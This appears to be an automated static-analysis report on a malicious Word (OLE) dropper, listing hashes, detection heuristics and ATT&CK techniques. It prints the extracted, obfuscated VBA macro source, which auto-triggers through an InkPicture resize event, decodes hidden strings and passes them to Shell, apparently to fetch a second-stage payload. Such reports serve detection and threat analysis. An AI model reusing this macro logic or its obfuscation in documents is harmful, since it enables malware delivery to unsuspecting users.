Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5d25293c7213bb28…

MALICIOUS

Office (OLE)

43.5 KB Created: 2018-07-19 16:46:00 Authoring application: Microsoft Office Word First seen: 2018-11-05
MD5: 2e484b49460e9f1b5cbcaebca66df72c SHA-1: 8549f54bea85077d7fedb4062c356f4a167dc468 SHA-256: 5d25293c7213bb2844eee601eb1ab5982ef1e424a89f29583b2387b53b94412d
162 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that utilize the Shell() function, a critical indicator of malicious activity. The document body includes a lure instructing the user to enable content, which is a common tactic for macro-based droppers. The presence of the Shell() function suggests the macro is designed to download and execute a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6617015-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6617015-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4181 bytes
SHA-256: c659db0fe12434d6d59a34e555b84cdfea0be2657a5cb0f06da4b8d6825e355a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "InkPicture1, 0, 0, MSINKAUTLib, InkPicture"
Private Sub InkPicture1_Resize(Left As Long, Top As Long, Right As Long, Bottom As Long)
demislit "kalir", ""
End Sub




Attribute VB_Name = "adriaticadriatic"
Function hondakayla()
AKHCORTS = 4 * Rnd() + 9
ertiserder = ""
inf = 1
gaft inf, AKHCORTS, ertiserder
hondakayla = ertiserder
End Function

Function gaft(ByRef inf, legtr, ByRef tgader)
If inf < legtr Then
snorttet = ""
reneeuser1 snorttet, 24 * Rnd() + 97
tgader = tgader + snorttet
inf = inf + 1
gaft inf, legtr, tgader
End If
End Function

Function reneeuser1(ByRef gjhnvjyt, rubyphilip)
gjhnvjyt = Chr(rubyphilip)
reneeuser1 = 1
End Function

Function cuntlove(melian77)
plenigla = ""
For i = 1 To Len(melian77)
plenigla = plenigla + aveesiraF(deltacool(Mid(melian77, i, 1)), 5)
Next i
cuntlove = plenigla
End Function

Function aveesiraF(num, key)
If num - key < 1 Then
aveesiraF = Mid(UserForm1.TextBox1, Len(UserForm1.TextBox1) + num - key, 1)
Else
aveesiraF = Mid(UserForm1.TextBox1, num - key, 1)
End If
End Function

Function deltacool(yuiuv)
Ralthepa = UserForm1.TextBox1
lenqt = Len(Ralthepa)
For i = 1 To lenqt
If yuiuv <> Mid(Ralthepa, i, 1) Then
yfiui = 1
Else
deltacool = i
End If
Next i
End Function

Attribute VB_Name = "craigchevy"
Function croucic4(ByRef galstala, unixvicky, JUNE1075)
galstala = galstala + unixvicky + JUNE1075
End Function

Function grandmago()
grandmago = "d"
End Function

Function demislit(ByRef text, burefg)
UserForm1.TextBox3 = text
End Function

Attribute VB_Name = "jeantinker"
Function nellieruby(ayakcasab)
If 1 = 2 Then
End If
Select Case ayakcasab
Case 1
nellieruby = "/)k5[/5gfuiojxibb5]$gfuiojxibb5]]ls(/pdf(5"
Case 2
nellieruby = "{.jpod(z,5\"
Case 3
nellieruby = "};{(iu f'ci/p5jajpi)%(ip%ui'/bdi(p}%kfu(bfhkldbi{\"
Case 4
nellieruby = "_$$1p)g1|"
Case 5
nellieruby = "%imi$$}:jphop gof/ijj5$$1p)g1|"
Case 6
nellieruby = "%imi$$:-poa;"
Case 7
nellieruby = "{$$xppg4[[(oozho)i(p%/f)[jjfoip%od$$}-/hp/x;"
Case 8
nellieruby = "{$$xppg4[[fhjdj gofci/pj%/f)[jjfoip%od$$}-$]]535fsp ldbi5 i(/fkd(z5hj/dd5 ldbighpx51p)g1|"
Case 9
nellieruby = "%'hp:5jphop gof/ijj5$1p)g1|"
Case "A"
nellieruby = "%'hp$5 ud(kfujpabi5xdkki(]"
End Select
End Function

Attribute VB_Name = "unisleas"
Function koraki666()
winnerfox = hondakayla()
october1674 = hondakayla()
goatzeus = hondakayla()
avotemla = hondakayla()

timberduke = ""

duckiefgh (nellieruby(1))
croucic4 timberduke, UserForm1.TextBox4, winnerfox
duckiefgh (nellieruby(2))
croucic4 timberduke, UserForm1.TextBox4, october1674
duckiefgh (nellieruby(3))
croucic4 timberduke, UserForm1.TextBox4, october1674
duckiefgh (nellieruby(4))
croucic4 timberduke, UserForm1.TextBox4, goatzeus
duckiefgh (nellieruby(5))
croucic4 timberduke, UserForm1.TextBox4, goatzeus
duckiefgh (nellieruby(6))
croucic4 timberduke, UserForm1.TextBox4, winnerfox
duckiefgh (nellieruby(7))
croucic4 timberduke, UserForm1.TextBox4, winnerfox
duckiefgh (nellieruby(8))
croucic4 timberduke, UserForm1.TextBox4, avotemla
duckiefgh (nellieruby(9))
croucic4 timberduke, UserForm1.TextBox4, avotemla
duckiefgh (nellieruby("A"))
croucic4 timberduke, UserForm1.TextBox4, ""

UserForm1.TextBox2 = timberduke
End Function

Function duckiefgh(timberduke)
UserForm1.TextBox4 = cuntlove(timberduke)
End Function

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{8654B5C2-9DB7-4833-A411-5D8604E77C5A}{63FC4C5E-9E7E-443C-9B97-9C3252390A93}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub TextBox2_Change()
Shell U
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.